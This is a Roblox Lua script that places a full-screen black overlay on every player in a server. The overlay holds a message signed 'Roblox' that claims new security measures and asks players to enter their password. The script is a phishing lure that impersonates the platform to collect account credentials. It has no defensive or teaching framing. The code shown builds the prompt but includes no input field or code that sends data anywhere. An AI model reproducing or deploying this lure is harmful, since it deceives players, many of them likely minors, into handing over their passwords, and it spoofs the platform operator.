Full Screen Gui

CreateGui = function(player)
local gui = Instance.new("ScreenGui",player.PlayerGui)
local frame = Instance.new("Frame",gui)
frame.Size = UDim2.new(1,0,1,100)
frame.Position = UDim2.new(0,0,0,-100)
local contentHolder = Instance.new("Frame",frame)
contentHolder.Size = UDim2.new(1,0,1,-100)
contentHolder.Position = UDim2.new(0,0,0,100)
contentHolder.BackgroundColor = BrickColor.Black()
local messageBox = Instance.new("Frame",contentHolder)
local msizex = 480
local msizey = 240
messageBox.Size = UDim2.new(0,msizex,0,msizey)
messageBox.Position = UDim2.new(0.5,-(msizex/2),0.5,-(msizey/2))
messageBox.BackgroundColor3 = Color3.new(0,0,0)
local title = Instance.new("TextLabel",messageBox)
title.Size = UDim2.new(1,0,0.1,0)
title.TextColor3 = Color3.new(1,1,1)
title.BackgroundTransparency = 1
title.Text = "Please enter password"
title.TextXAlignment = "Left"
title.TextScaled = true
local text = Instance.new("TextLabel",messageBox)
text.Size = UDim2.new(1,0,0.5,0)
text.Position = UDim2.new(0,0,0.1,0)
text.BackgroundTransparency = 1
text.TextColor3 = Color3.new(1,1,1)
text.TextWrapped = true
text.TextXAlignment = "Left"
text.Text = "Dear user: We are currently increasing our security measures by requiring users to randomly require passwords to enter a server. Please enter your password so we can verify the security of this server.\nThank you,\nRoblox"
return gui
end
for i,v in pairs(game:getService("Players"):GetPlayers()) do
CreateGui(v)
end